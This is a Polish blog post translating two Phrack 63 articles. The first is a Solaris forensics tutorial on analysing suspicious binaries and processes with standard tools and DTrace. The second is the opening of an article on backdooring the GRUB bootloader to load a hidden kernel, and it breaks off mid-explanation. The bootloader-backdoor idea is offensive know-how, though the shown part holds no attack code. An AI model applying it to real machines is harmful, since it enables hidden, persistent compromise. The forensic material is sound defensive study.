wtorek, 2 lipca 2013

Phrack nr 63 - "Analiza podejrzanych plików binarnych i procesów"

==Phrack Inc.==

Tom 0x0b, Wydanie 0x3f, Plik #0x03-1 z 0x14

|=-------------------------=[ 0x03-1 ]=----------------------------------=|
|=---------Analiza podejrzanych plików binarnych i procesów--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------Boris Loza, PhD---------------------------------=|
|=-------------------bloza@tegosystemonline.com--------------------------=|
|=-----------------------------------------------------------------------=|

1. Wprowadzenie
2. Analizowanie 'nieznanego' pliku binarnego
3. Analizowanie 'nieznanego' procesu
4. Bezpieczeństwo dochodzeniowe, używanie DTrace
5. Konkluzja

--[ Wprowadzenie

Artykuł o bezpieczeństwie dochodzeniowym wymaga dużo cierpliwości, 
kreatywności i obserwacji. Nie zawsze może Ci się powodzić w Twoich 
staraniach ale stałe 'wyostrzanie' swoich umiejętności przez praktykowanie 
uczy kilku rzeczy więcej tu i tam które w przyszłości będą pomocne.

W tym artykule chciałbym przedstawic moje własne doświadczenia w analizie
podejrzanych plików binarnych i procesów żebyś mógł je znaleźć w systemie.
Będziemy używać tylko standardowych, spoza skrzynki, użytecznych narzędzi
UNIX-a. Wszystkie przykłady w tym artykule są przedstawianie w oparciu o
system Solaris. 

--[ Analizowanie 'nieznanego' pliku binarnego

Podczas swojego dochodzenia możesz spotkać jakieś wykonywalne (binarne)
pliki których przeznaczenia w Twoim systemie nie możesz zrozumieć. Kiedy
próbujesz przeczytać taki plik on wyświetla 'śmieci'. Możesz poznać ten plik
po nazwie ale nie jesteś pewny czy widziałeś go przedtem. 

Na szczęście, nie możesz czytać pliku binarnego przez more, cat, pg, vi czy
innymi narzędziami których normalnie używasz do czytania plików tekstowych.
Będziesz potrzebował innych narzędzi. W porządku, do czytania takich plików
ja używam następujacych narzędzi: strings, file, ldd, adb i innych.

Podsumujmy, na przykład znaleźliśmy plik o nazwie cr1 w katalogu /etc/.
Pierwszą komenda użytą do uruchomienia tego pliku jest strings(1). To
polecenie pokaże wszystkie drukowalne łańcuchy w obiekcie lub pliku binarnym:

$ strings cr1 | more

%s %s %s%s%s -> %s%s%s (%.*s) 
Version: 2.3 
Using: dsniff [-cdmn] [-i interface] [-s snaplen] [-f services] 
[-t trigger[,...]] [-r|-w savefile] [expression] 
...
/usr/local/lib/dsniff.magic
/usr/local/lib/dsniff.services 
...

Całość pokazana przez to polecenie jest bardzo długa, więc nie została
pokazana. Ale możesz obejrzeć to co zostało pokazane jeżeli to jest aktualne
narzędzie dsniff jako cr1. 

Czasami nie będziesz miał szczęścia w wyszukiwaniu nazwy programu, jego
wersji oraz użycia wewnątrz pliku. Jeżeli nadal nie wiesz co ten plik robi,
spróbuj uruchomić strings z parametrem 'a', albo tylko '-'. Z tymi opcjami
strings będzie wypatrywał łancuchy gdziekolwiek w pliku. Jeżeli ten parametr
został opuszczony, strings wyszukuje tylko odstepów inicjowanych danych
danego pliku:

$ strings cr1 | more

Spróbuj porównać rownież dane wyjściowe ze znanych Ci plików binarnych,
żeby zgadnąć czym ten program mógłby być. 

Alternatywnie możesz uzyć komendy nm(1) zeby wyświetlić listę nazw danego
pliku:

$ /usr/ccs/bin/nm -p cr1 | more 

cr1: 
                                                             
[Index]    Value   Size  Type   Bind    Other  Shndx       Name  
[180]     |0     |    0| FILE |  LOCL | 0     |ABS |       decode_smtp.c
[2198]    |160348|  320| FUNC |  GLOB | 0     | 9  |       decode_sniffer   

Zaznaczam że dane wyjściowe tej komendy mogą zawierać się w tysiącach
linii, w zależności od rozmiaru danego pliku. Możesz uruchomic nm przez
tunel do more lub pg, albo przekierować do pliku i później zanalizować. 

Żeby sprawdzić tabele symboli czasu wykonywania linkera - wywołaj algorytm
dzielonej biblioteki, użyj nm z opcjami '-Du', gdzie '-D' wyświetla symbol
tablicy użytej przez ld.so.1 i jest prezentowany nawet w zdjętej dynamicznej
tablicy wykonywania, i '-u' pokazuje długi listing dla każdego
niezdefiniowanego symbolu. 

Możesz także wyrzucić wybrane części każdego binarnego pliku przy pomocy
narzędzia dump(1) lub elfdump(1). Następujace łancuchy wyrzuca tabele
łancuchów pliku cr1:

$ /usr/ccs/bin/dump -c ./cr1 | more

Możesz użyć następujących opcji do wyrzucenia romaitych części pliku:
-c Wyrzuć tabele znaku/znaków
-C Wyrzuć zdekodowane tabele nazw symboli C++
-D Opuść debagowanie informacji
-f Wyrzuć każdy nagłówek pliku
-h Wyrzuć sekcje nagłówków
-l Wyrzuć informacje o numerze linii
-L Opuść dynamiczne linkowanie informacji i informacje częściowej
biblioteki, jeżeli są dostępne
-o Wyrzuć każdy nagłówek wykonywania programu
-r Opuść ponowne ulokowanie informacji
-s Wyrzuć sekcje treści w systemie szesnastkowym
-t Wyrzuć wejścia tabeli symbolu

Notatka: Aby wyświetlic wewnętrzną informację o wersji zawartą wewnatrz
pliku ELF, użyj narzędzia pvs(1).

Jeżeli nadal nie jesteś pewny do czego dany plik służy, użyj komendy file(1):

$ file cr1
cr1: ELF 32-bit MSB executable SPARC32PLUS Version 1, V8+ 
Required, UltraSPARC1 Extensions Required, dynamically linked, not 
stripped 

Na tej podstawie możemy powiedzieć że jest to plik wykonywalny dla SPARC,
wymagający dostępu do bibliotek ładowanych przez system operacyjny
(dynamicznie linkowanych). Ten plik nie jest także zdjęty, co znaczy że
tabele symboli nie były usunięte z kompilowanej binarki. To pomoże nam w
dużej mierze podczas przyszłej analizy.

Notatka: Aby zdjąć symbol, użyj strip <mój_plik>.

Komenda file może także nam powiedzieć, że plik binarny jest statycznie
linkowany, z debagowanymi lub rozebranymi danymi wyjściowymi.

Statycznie linkowane oznacza że wszystkie funkcje są włączone w binarce,
ale rezultaty w większym pliku wykonywalnym. Debagowane dane wyjściowe -
włączają debagowane symbole, jak zmienne nazwy, funkcje, wewnętrzne symbole,
numery linii kodu oraz informacje o pliku źródłowym. Jeżeli plik jest
zdjęty, to rozmiar jest o wiele mniejszy. 

Komenda file identyfikuje typ używanego pliku, wśród innych testów, testów
w rodzaju czy plik rozpoczyna się z pewną liczbą magiczną (zobacz plik
/etc/magic). Liczba magiczna jest numeryczną lub stałą łańcuchową, która
wskazuje na typ pliku. Obejrzyj magic(4) w celu wytłumaczenia formatu pliku
/etc/magic.

Jeżeli nadal nie wiesz w jakim celu wykorzystywany jest dany plik, spróbuj
zgadnąć to przez obejrzenie które dzielone biblioteki są potrzebne binarce,
używając komendy ldd(1):

$ ldd cr1 
...
libsocket.so.1 => /usr/lib/libsocket.so.1 
librpcsvc.so.1 => /usr/lib/librpcsvc.so.1 
...

Te dane wyjściowe mowią że ta aplikacja wymaga częściowo bibliotek
sieciowych (libsocket.so.1 i librpcsvc.so.1).

Debugger adb(1) także może być bardzo użyteczny. Np. następujace dane
wyjściowe pokazują krok po kroku binarki w zapytaniu:

# adb cr1
:s
adb: target stopped at:
ld.so.1_rt_boot: ba,a +0xc 
<ld.so.1_rt_boot+0xc>
,5:s
adb: target stopped at:
ld.so.1_rt_boot+0x58: st %l1, [%o0 + 8]

Może także ten plik zanalizować lub uruchomić go i zobaczyć jak aktualnie
pracuje. Ale bądź ostrożny kiedy uruchamiasz aplikacje, ponieważ nie wiesz
jeszcze czego masz się spodziewać. Na przykład:

# adb cr1
:r
Using device /dev/hme0 (promiscuous mode)
192.168.2.119 -> web TCP D=22 S=1111 Ack=2013255208 
Seq=1407308568 Len=0 Win=17520
web -> 192.168.2.119 TCP D=1111 S=22 Push Ack=1407308568 

Możemy zauważyć że ten program jest snifferem. Przeczytaj stronę man adb(1)
aby uzyskaż więcej informacji na temat używania tego debuggera.

Jeżeli jednak zdecydowałeś się uruchomić program, możesz uzyć truss(1).
Komenda truss pozwala Ci na uruchomienie programu dopóki wywołuje wywołania
systemowe i sygnały.

Notatka: truss wypisuje na wyjście bardzo dużo danych. Przekieruj dane
wyjściowe do pliku:

$ truss -f -o cr.out ./cr1
listening on hme0
^C
$

Teraz możesz spokojnie badać dane wyjściowe w pliku cr.out.

Jak widzisz, wiele narzędzi i technik może być użytych do analizy
nieznanego pliku. Nie wszystkie pliki są łatwe w analizie. Jeżeli plik jest
statycznie linkowaną zdjętą binarką, może być o wiele trudniej znaleźć
odpowiedź na to do czego służy. Jeżeli nie możesz powiedzieć nic na temat
pliku używając prostych narzędzi jak strings i ldd, spróbuj go zdebagować i
użyc truss. Doświadczenie w używaniu i analizie danych wyjściowych tych
narzędzi, razem z dobrą ilościa cierpliwości, zakończy się sukcesem. 

--[ Analizowanie 'nieznanego' pliku binarnego

Co zrobisz jeżeli znajdziesz proces, który jest uruchomiony w Twoim
systemie, ale nie wiesz co on robi? Tak, w Uniksie wszystko jest plikiem,
nawet proces! Może zaistnieć sytuacja, w której aplikacja zostanie
uruchomiona w systemie ale plik zostanie usunięty. W tej sytuacji proces
będzie nadal działał ponieważ odnośnik do tego procesu istnieje w katalogu
/proc/[PID]/object/a.out, ale możesz nie znaleźć procesu przez jego nazwę
uruchamiając komendę find(1).

Np. załóżmy że zaczęliśmy badać proces o numerze ID 22889 z podejrzanej
aplikacji srg, który znaleźliśmy uruchomiony w naszym systemie:

# ps -ef | more 
UID PID PPID C STIME TTY TIME CMD 
...
root 22889 16318 0 10:09:25 pts/1 0:00 ./srg
...

Czasami jest to tak proste jak uruchomienie komendy strings(1) w stosunku do
/proc/[PID]/object/a.out aby zidentyfikować proces. 

# strings /proc/22889/object/a.out | more 
...
TTY-Watcher version %s 
Usage: %s [-c] 
-c turns on curses interface 
NOTE: Running without root privileges will only allow you to monitor 
yourself.
...

Widzimy że ta komenda jest aplikacją TTY-Watcher, która widzi wszystkie
keystroke-i z każdego terminala w systemie.

Zakładamy że nie jesteśmy zdolni użyć strings w celu identyfikacji co ten
proces robi. Możemy zbadać proces innymi narzędziami.

Możesz zatrzymać proces dopóki nie pojmiesz czym jest. Np. uruchom komendę
kill -STOP 22889 jako root. Sprawdź rezultaty. Zobaczmy dla znaku 'T' który
określa które procesy zostały zatrzymane:

# /usr/ucb/ps | grep T
root 22889 0.0 0.7 3784 1720 pts/1 T 10:09:25 0:00 ./srg 

Otrzymujemy z powrotem proces, w razie potrzeby użyjmy kill -CONT <PID>. Dla
potrzeb dalszej analizy procesu stworzymy \core dump\ zmiennych i stos
procesu:

# gcore 22889 
gcore: core.22889 dumped 

Tutaj 22889 jest numerem ID procesu (PID). Sprawdźmy wyniki core.22889
uźywając strings:

# strings core.22889 | more 
... 
TTY-Watcher version %s 
Usage: %s [-c] 
-c turns on curses interface 
NOTE: Running without root privileges will only allow you to monitor 
yourself.
...

Możesz użyć także coreadm(1M) do analizy pliku core.22889. Narzędzie
coreadm dostarcza interfejsy do zarządzania parametrami, które oddziałują na
tworzenie jądra pliku. Komenda coreadm modyfikuje plik /etc/coreadm.conf.
Ten plik jest czytany w czasie bootowania i ustawia globalne parametry dla
tworzenia core dump.

Najpierw ustawmy naszą nazwę pliku jądra w formie core.<PROC NAME>.<PID>.
Zrobimy to tylko dla wszystkich programów które wykonujemy w tej powłoce
(notacja $$ wyrównuje PID naszej aktualnej powłoki):

$ coreadm -p core.%f.%p $$

%f oznacza że nazwa programu będzie włączona, a %p informuje że PID będzie
dodany do nazwy pliku jądra. 

Możesz także użyć adb do analizy procesu. Jeżeli nie posiadasz danego pliku,
użyj /proc/[PID]/object/a.out. Mozesz użyc pliku jądra w celu odrzucenia
procesu przez gcore lub sprecyzować '-' jako plik jądra. Jeżeli ociupina (-)
jest sprecyzowana dla pliku jądra, adb użyje systemowej pamięci do wykonania
danego pliku. Możesz faktycznie uruchomić dany plik pod kontrolą adb (to
może być niebezpieczne ponieważ nie jesteś pewny co ta aplikacja robi!):

# adb /proc/22889/object/a.out - 
main:b 
:r 
breakpoint at: 
main: save %sp, -0xf8, %sp 
...
:s 
stopped at: 
main+4: clr %l0 
:s 
stopped at: 
main+8: sethi %hi(0x38400), %o0
$m 
? map 
...
b11 = ef632f28 e11 = ef6370ac f11 = 2f28 /usr/lib/libsocket.so.1'
$q 

Zaczynamy sesje przez ustawienie breakpointu w miejscu gdzie zaczyna się
funkcja main(), i później rozpoczynamy wykonywanie a.out przez podanie adb
komendy uruchamiającej ':r'. Natychmiast stajemy na main() gdzie został
ustawiony nasz breakpoint. Następnie listujemy pierwszą instrukcję z danego
pliku. Komenda ':s' mówi adb o tym kroku, wykonuje tylko jedną instrukcje
asemblerową na raz. 

Notatka: Sprawdź ksiażkę Panic! autorstwa Drake'a i Browna, aby dowiedzieć się
więcej na temat używania adb w celu analizy core dump.

Do analizy uruchomionego procesu użyj truss:

# truss -vall -f -o /tmp/outfile -p 22889
# more /tmp/outfile

Na innych systemach uniksowych do których masz dostęp możesz śledzić proces
używając komendy ltrace lub strace. Aby rozpocząć śledzienie wklep ltrace -p
<PID>.

Aby obejrzeć środowisko uruchomionego procesu możesz użyć następującej
komendy:

# /usr/ucb/ps auxeww 22889 
USER PID %CPU %MEM SZ RSS TT S START TIME COMMAND 
root 22889 0.0 0.4 1120 896 pts/1 S 14:15:27 0:00 -
sh _=/usr/bin/csh 
MANPATH=/usr/share/man:/usr/local/man HZ= 
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/local/sbin:
/opt/NSCPcom/ LOGNAME=root SHELL=/bin/ksh HOME=/ 
LD_LIBRARY_PATH=/usr/openwin/lib:/usr/local/lib TERM=xterm TZ= 

Katalog /usr/ucb/ zawiera pakiety komend zgodne z SunOS/BSD. Komenda
/usr/bin/ps wyświetla informacje o procesach. Użyliśmy następujących opcji
(ze strony manuala ps(1B)):

-a Włącza informacje o procesach należących do innych użytkowników
-u Wyświetla dane wyjściowe danego użytkownika. Opcja ta dołącza
części USER, %CPU, %MEM, SZ, RSS i START z wartościami
-x Dołącza procesy z niekontrolowanym terminalem
-e Wyświetla srodowisko jak i argumenty do komendy
-w Użyj szerokiego formatu danych wyjściowych (132 kolumny zamiast 80);
jeśli powtórzony, wtedy jest -ww, użyj szeroko dowolnych danych
wyjściowych. Ta informacja jest używana do decydowania jak długie komendy
wyświetlać.

Aby obejrzeć adres pamięci wpisz:

# ps -ealf | grep 22889
F S UID PID PPID C PRI NI ADDR SZ WCHAN 
STIME TTY TIME CMD
8 S root 3401 22889 0 41 20 615a3b40 474 60ba32e6 14:16:49 
pts/1 0:00 ./srg 

Aby obejrzeć użycie pamięci wpisz:

# ps -e -opid,vsz,rss,args 
PID VSZ RSS COMMAND 
...
22889 3792 1728 ./srg

Mozemy zobaczyc że ./srg używa 3,792 K wirtualnej pamięci, 1,728 której było
alokowane z fizycznej pamięci.

Możesz zrobić użytek z /etc/crash(1M) do badania zawartości struktury proc
uruchomionego procesu:

# /etc/crash 
dumpfile = /dev/mem, namelist = /dev/ksyms, outfile = stdout 
> p 
PROC TABLE SIZE = 3946 
SLOT ST PID PPID PGID SID UID PRI NAME FLAGS 
...
66 s 22889 16318 16337 24130 0 58 srg load 
> p -f 66 
PROC TABLE SIZE = 3946 
SLOT ST PID PPID PGID SID UID PRI NAME FLAGS 
66 s 22889 16318 16337 24130 0 58 srg load 

Session: sid: 24130, ctty: vnode(60b8f3ac) maj( 24) min( 1) 
... 
> 

Po spożytkowaniu crash, użylismy funkcji p do pobrania slotu tabeli procesu
(66 w tej części). Następnie aby wyrzucić strukturę proc dla procesu o
numerze PID 22889, ponownie zrobiliśmy użytek z p, dodając flage '-f' i
numer slotu tabeli procesu. 

Jak struktura procesu, zawartość uarea wspierająca dane dla sygnałów, włącza
zestaw definicji dyspozycji dla wszystkich możliwych sygnałów. Dyspozycja
sygnału mówi systemowi operacyjnemu co zrobić w wypadku sygnału - zignorować
go, złapać go i wezwać nagłówek sygnału zdefiniowanego użytkownika lub
wykonać domyślną akcje. Aby wyrzucić uarea procesu: 



> u 66 
PER PROCESS USER AREA FOR PROCESS 66 
PROCESS MISC: 
command: srg, psargs: ./srg 
start: Mon Jun 3 08:56:40 2002 
mem: 6ad, type: exec su-user 
vnode of current directory: 612daf48 
...
> 

Funckcja 'u' pobiera numer slotu tabeli procesu jako argument. Aby wyrzucić
przestrzeń adresu procesu, wklep:

# /usr/proc/bin/pmap -x 22889

Aby uzyskać listę otwartych plików procesu, użyj komendy /usr/proc/bin/pfiles:

# /usr/proc/bin/pfiles 22889

Komenda ta wypisuje nazwę procesu i PID dla otwartych plików procesu.
Zaznaczam że różne części informacji są akceptowane na poszczególnym
otwartym pliku, włączając typ pliku, flagę pliku, czśści trybu i rozmiar. 

Jeżeli nie możesz znaleźć binarnego pliku i proces jest tylko w pamięci,
możesz nadal użyć opisanych metod w odniesieniu do analizy podejrzanych
plików binarnych rownież nad danymi plikami procesu. Na przykład:
# /usr/ccs/bin/nm a.out | more        
a.out:                                                     
                                                           
[Index]     Value   Size    Type  Bind  Other Shndx   Name
...       
[636]   |    232688|       4|OBJT |GLOB |0    |17     |Master_utmp  
[284]   |    234864|      20|OBJT |GLOB |0    |17     |Mouse_status 

Mozesz użyć także mdb(1) - modularny debugger do analizy procesów:
# mdb -p 22889
Loading modules: [ ld.so.1 libc.so.1 libnvpair.so.1 libuutil.so.1 ]
> ::objects
    BASE    LIMIT     SIZE NAME
   10000    62000    52000 ./srg
ff3b0000 ff3dc000    2c000 /lib/ld.so.1
ff370000 ff37c000     c000 /lib/libsocket.so.1
ff280000 ff312000    92000 /lib/libnsl.so.1

--[ Bezpieczeństwo dochodzeniowe, używanie DTrace

Solaris 10 ma zaimplementowane nowe narzędzie do dynamicznego trasowania w
środowisku systemu operacyjnego - dtrace. Jest to bardzo potężne narzędzie
które pozwala administratorom systemów na obserwację i debagowanie
zachowania OS-u lub nawet na dynamiczną modyfikację kernela. Dtrace ma swój
własny język programowania jak C/C++ nazywany 'językiem D', i dostarcza
wielu różnych opcji ale nie mam zamiaru ich tutaj omawiać. Obejrzyj stronę
manuala dtrace(1M) a także zaglądnij na 
http://docs.sun.com/app/docs/doc/817-6223 aby zdobyć więcej informacji.

Chociaż to narzędzie zostało zaprojektowane pierwotnie dla developerów i
administratorów, wyjaśnię jak ktoś może użyć dtrace do analizy podejrzanych
plików i procesów.

Będziemy dalej pracować nad studiowaniem przypadku jak nastepuje. Np.
przyjmijmy że badamy proces o ID 968 z podejrzanej aplikacji srg, którą
znaleźliśmy uruchomioną w naszym systemie.

Przez wpisanie następujących komend linii poleceń, wypiszesz wszystkie pliki
które otwiera ten określony proces. Poniższa komenda wykonuje daną czyność
dopóki nie zostanie wciśnięta kombinacja klawiszy Control-C:
# dtrace -n syscall::open:entry'/pid == 968/ 
{ printf("%s%s",execname,copyinstr(arg0)); }'

dtrace: description 'syscall::open*:entry' matched 2 probes
^C
CPU     ID                    FUNCTION:NAME
  0     14                    open:entry srg /var/ld/ld.config
  0     14                    open:entry srg /lib/libdhcputil.so.1
  0     14                    open:entry srg /lib/libsocket.so.1
  0     14                    open:entry srg /lib/libnsl.so.1
  

Język D ma swoją własną terminologię, którą będę próbował tutaj krótko
przedstawić.

Całkowita konstrukcja 'syscall::open:entry' nazywana jest 'próbą' i 
definiuje lokalizacje lub czynność do której dtrace dołącza odwołanie do 
wypełnienia kompletu 'akcji'. Element 'wywołanie systemowe-syscall' próby 
nazywany jest 'dostawcą' i, w naszym przypadku, zezwala próbom na 
'wejście-entry' (start) do każdego 'otwartego-open' wywołania systemowego
Solarisa ('otwarte-open' wywołanie systemowe uczy kernel otwierać plik do
czytania i pisania).

Tzw. 'orzeczenie' - /pid == 968/ używa predefiniowanej zmiennej dtrace
'pid', zawsze oceniającą do procesu, ID towarzyszący wątkowi który zapalił
odpowiednie badanie.

'execname' i 'copyinstr(arg0)' nazywane są 'akcjami' i definiują nazwę
aktualnego pliku tabeli wykonywania procesu i konwertują pierwszy całkowity
argument wywołania systemowego (arg0) do odpowiedniego formatu łancucha.
Funckja printf używa takiej samej składni jak język C i używana jest w tym samym
celu - do formatowania danych wyjściowych.

Każdy program napisany w jezyku D składa się z serii 'warunków', każdy
warunek opisuje jedną lub więcej prób uzyskania upoważnien, i opcjonalnie
komplet wykonywanych funkcji kiedy próba zostaje odpalona. Akcje są listowane 
jako serie wyrażeń zawartych w nawiasach klamrowych { } następujacej nazwy próby. 
Każde wyrażenie zakończone jest średnikiem (;). 

Możesz przeczytać Wprowadzenie do Przewodnika Trasowania w Solarisie
(http://docs.sun.com/app/docs/doc/817-6223) aby poznać więcej opcji i
zrozumieć wykonanie.

Notatka: Jak sugeruje nazwa, dtrace (Dynamic Trace) pokaże Ci informacje o
zmieniających się procesach - w dynamice. Tzn. że jeżeli proces jest
bezczynny (nie może wykonać żadnego wywołania systemowego lub otworzyć
nowego pliku), nie będziesz w stanie otrzymać żadnych informacji. Do analizy
procesu albo go zrestartuj albo użyj metod opisanych w dwóch poprzednich
sekcjach tego artykułu.

W kolejnej fazie użyjemy następującej konstrukcji linii komend aby
wyświetlić wszystkie wywołania systemowe dla 'srg'. 

# dtrace -n 'syscall:::entry /execname == "srg"/ { @num[probefunc] = 
count(); }'
dtrace: description 'syscall:::entry ' matched 226 probes
^C
pollsys 1
getrlimit 1
connect 1
setsockopt 1
...

Możesz dowiedzieć się trochę o budowanych elementach tego małego programu
pisanego w jezyku D. W dodatku ta klauzula definiuje zestaw nazwany 'run' i
wyznacza stosownego członka 'probefunc' (funkcja wykonanego wywołania
systemowego) ilość tych szczególnych funkcji powinna być liczona (count()). 

Używając dtrace możemy łatwo emulować wszystkie użyteczne rzeczy które
używaliśmy w poprzedniej sekcji do analizy nieznanych plików binarnych i
procesów. Ale dtrace jest o wiele bardziej użytecznym narzędziem i dostarcza
o wiele więcej funkcji: np. możesz dynamicznie monitorować stos procesów
zapytaniem:
# dtrace -n 'syscall:::entry/execname == "srg"/{ustack()}'
  0    286                lwp_sigmask:entry
              libc.so.1__systemcall6+0x20
      libc.so.1pthread_sigmask+0x1b4
      libc.so.1sigprocmask+0x20
      srgsrg_alarm+0x134
      srgscan+0x400
              srgnet_read+0xc4
              srgmain+0xabc
      srg_start+0x108
      

Bazując na wszystkich naszych doświadczeniach (zobacz listę otwartych
plików, wywołań systemowych i stos badany wyżej) możemy pozytywnie wnioskować
że srg jest aplikacją sieciową. Czy to jest napisane dla sieci? Sprawdźmy to
konstruując nastepującą komendę:
# dtrace -n 'mib:ip::/execname == "srg"/{@[execname]=count()}'
dtrace: description 'mib:ip::' matched 412 probes
dtrace: aggregation size lowered to 2m
^C
  srg                                      520
  

Jest. Użylismy providera 'mib' aby wyjaśnic czy nasza aplikacja laczy się z
siecią. 

To może być tylko sniffer lub aplikacja ala netcat bindowana na specyficznym
porcie? Uruchomimy dtrace w truss(1) jako wzór do odpowiedzenia sobie na to
pytanie (zainspirowane przez użyteczność dtruss Brendana Gregga):
#!/usr/bin/sh
#
dtrace='

 inline string cmd_name = "'$1'";
  /*
  ** Save syscall entry info
  */
  syscall:::entry
  /execname == cmd_name/
  {
       /* set start details */
       self->start = timestamp;        
       self->arg0 = arg0;
       self->arg1 = arg1;
       self->arg2 = arg2;
  }
      
/* Print data */
 syscall::write:return,
 syscall::pwrite:return,
 syscall::*read*:return
 /self->start/
 {
    printf("%s(0x%X, \"%S\", 0x%X)\t\t = %d\n",probefunc,self->arg0,
    stringof(copyin(self->arg1,self->arg2)),self->arg2,(int)arg0);
           
      self->arg0 = arg0;
      self->arg1 = arg1;
      self->arg2 = arg2;
 }
'
# Run dtrace
/usr/sbin/dtrace -x evaltime=exec -n "$dtrace" >&2

Zapisz jako truss.d, dodaj prawa wykonywania i uruchom:


# ./truss.d srg
0     13                     write:return write(0x1, "       sol10 -
> 192.168.2.119 TCP D=3138 S=22 Ack=713701289 Seq=3755926338 Len=0 
Win=49640\n8741 Len=52 Win=16792\n\0", 0x5B)                 = 91
0     13                     0     13                     
write:return write(0x1, "192.168.2.111 -> 192.168.2.1  UDP D=1900 
S=21405 LEN=140\n\0", 0x39)          = 57
^C

Dla mnie wyglada jak sniffer, z prawdopodobieństwem jakiegoś zdalnego
logowania (przypomij sobie powyższą trasmisje sieciową przez ./srg odkrytą 
przez providera 'mib'!).

Aktualnie możesz napisać jakieś niezłe i wymyślne programy dla dtrace
używając jezyka D.

Zobacz dla przykladu /usr/demo/dtrace.

Mozesz użyć także dtrace do innych czynności dochodzeniowych. Poniżej
znajduje się przykład bardziej kompleksowego skryptu, który pozwala na
monitorowanie kto odpala podejrzane aplikacje i rozpoczyna zapisywanie
wszystkich plików otwartych przez proces:
#!/usr/bin/sh

command=$1

/usr/sbin/dtrace -n '

inline string COMMAND  = "'$command'";

 #pragma D option quiet
  
 /*
 ** Print header
 */
 dtrace:::BEGIN
 {
     /* print headers */
     printf("%-20s %5s %5s %5s %s\n","START_TIME","UID","PID","PPID","ARGS");
 }
 
 /*
 ** Print exec event
 */
 syscall::exec:return, syscall::exece:return
 /(COMMAND == execname)/
 {
        /* print data */
printf("%-20Y %5d %5d %5d %s\n",walltimestamp,uid,pid,ppid,
stringof(curpsinfo->pr_psargs));
s_pid = pid;
 }
 /*
 **  Print open files
 */
 syscall::open*:entry
 /pid == s_pid/
  {
 printf("%s\n",copyinstr(arg0));
  }
'
 

Zapisz jako wait.d, dodaj prawa wykonywania 'chmod +x wait.d' i uruchom:
# ./wait.d srg
START_TIME             UID   PID  PPID ARGS
2005 May 16 19:51:20   100  1582  1458 ./srg

/var/ld/ld.config
/lib/libnsl.so.1
/lib/libsocket.so.1
/lib/libresolv.so.2
...
^C

Widac każdorazowe uruchomienie srg.

Niemniej jednak prawdziwa siła dtrace pochodzi z faktu że możesz coś robic
z tym że to nie będzie możliwe bez napisania obszernego programu w C. Np.
aplikacja shellsnoop napisana przez Brendana Gregga
(http://users.tpg.com.au/adsln4yb/DTrace/shellsnoop) pozwala na użycie
dtrace przy objętości ttywatcher!

Nie możliwe jest żeby pokazać wszystkie możliwości dtrace w takiej małej
prezentacji tego niezwykle użytecznego narzędzia. Dtrace jest bardzo funckcjonalny 
jak wiele kompleksowych narzędzi z niekończącymi się wirtualnymi możliwościami.
Aczkolwiek Sun upiera się że nie musisz posiadać 'głębokiego pojęcia o kernelu
żeby DTrace był dla Ciebie funckjonalny', znajomość istotnych wartości
Solarisa jest prawdziwym skarbem. Zobaczmy include-pliki w katalogu
/usr/include/sys/, może to pomoże Ci w napisaniu kompleksowego skryptu
języka D i da więcej informacji pomocnych w zrozumieniu jak Solaris 10 jest
implementowany. 

Phrack nr 63 - "Hakowanie Gruba dla zabawy i zysku"

                               ==Phrack Inc.=                           
                  Tom 0x0b, Wydanie 0x3f, Plik #0x0a z 0x14

|=-----------------=[ Hakowanie Gruba dla zabawy i zysku ]=---------------=|
|=--------------------------------------------------------------------------=|
|=----------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|=-----------------------------------------------------------------------=|

--[ Spis treści

   0.0 - Przegląd trojanów, backdoorów i rootkitów
   
   1.0 - Proces bootowania z Grubem
       1.1 Jak Grub pracuje?
       1.2 stage1
       1.3 stage1.5 i stage2
       1.4 Grub util
       
   2.0 - Możliwość załadowania określonego pliku
   
   3.0 - Techniki hakowania
       3.1 Jak załadować file_fake
       3.2 Jak zlokalizować ext2fs_dir
       3.3 Jak zhakować Gruba
       3.4 Jak zrobić coś podstępnego
       
   4.0 - Użycie
   
   5.0 - Wykrywanie
   
   6.0 - Na koniec
   
   7.0 - Informacje
   
   8.0 - hack_grub.tar.gz

--[ 0.0 - Przegląd trojanów, backdoorów i rootkitów
Od 1989, kiedy pojawiło sie pierwsze narzędzie do edytowania logów, (Phrack
0x19 #6 - Hiding out under Unix), trojany, backdoory i rootkity zaczęły
silnie ewoluować. Z wczesnych narzedzi trybu użytkownika jak LRK4/5, do
trybu jądra w rodzaju knark/adore/adore-ng, wtedy pojawił się SuckIT,
implementowany jako moduł, obecnie nawet statyczna łata na jądro.
 Ostrożnie obmyślona, więc co pozostało nietknięte? Tak, to boot-loader. 
 Więc w tym artykule, zaprezentuję drogę do załadowania Gruba z Twoimi
opcjami, tzn. można załadować każde jądro/initrd, obraz/grub.conf, pomijając
plik który określiłeś w grub.conf.

P.S.: Ten artykuł jest napisany w oparciu o system Linux z ext2/3 na
platformę x86.

--[ 1.0 - Proces bootowania z Grubem

----[ 1.1 - Jak Grub pracuje?



                       +-----------------------+
                       | bootowanie, ładowanie |
                       |          MBR          |
                       +------------+----------+
                                    |
                     +----------------+     Nie
                     | Grub jest w MBR +------->-------+
                     +-------+--------+               |  
                       Tak   |  stage1        +-------+----------+
               Tak  +--------+---------+      | skok do aktywnej |
             +--<---+  stage1.5 config |      |   partycji       |
               |    +--------+---------+      +--------+---------+
               |         Nie |                      |
     +-------+-------------+|      |   +-----+-----------+   
     | ładowanie osadzonych | stage1-> | ładowanie boot- | 
     |      sektorów        |       |  |   -sektora      |
     +-------+--------------+   V      +-----+-----------+
           ^    |               |       + - - - < - - -  + Cf 1.3
           |    |               |                   +------+---------+
       stage1.5 +-------->------+--------->-------+ ładowanie stage2 +
                                                    +------+---------+
                                                           |
                                    +---------------<--------+
                                    V
                                  +------------+-----------+
                                  |   ładowanie grub.conf  |
                                  | wyświetlanie boot-menu |
                                  +-----------+-----------+
                                        | interakcja z użytkownikiem
                                       +---------+---------------+
                                        | ładowanie obrazu jądra |
                                        |     i bootowanie       |
                                        +------------------------+                                        
--[ 1.2 - stage1

 stage1 ma 512 bajtów, a jego kod źródłowy możesz obejrzeć w
stage1/stage1.S. Jest zainstalowany w MBR lub w boot-sektorze głównej
partycji. Zadanie jest proste - załaduj określony sektor (zdefiniowany w
stage2_sector) do określonego adresu (zdefiniowany w
stage2_address/stage2_segment). Jeśli stage1.5 jest skonfigurowany, pierwszy
sektor stage1.5 jest ładowany do adresu 0200:000; jeśli nie, pierwszy sektor
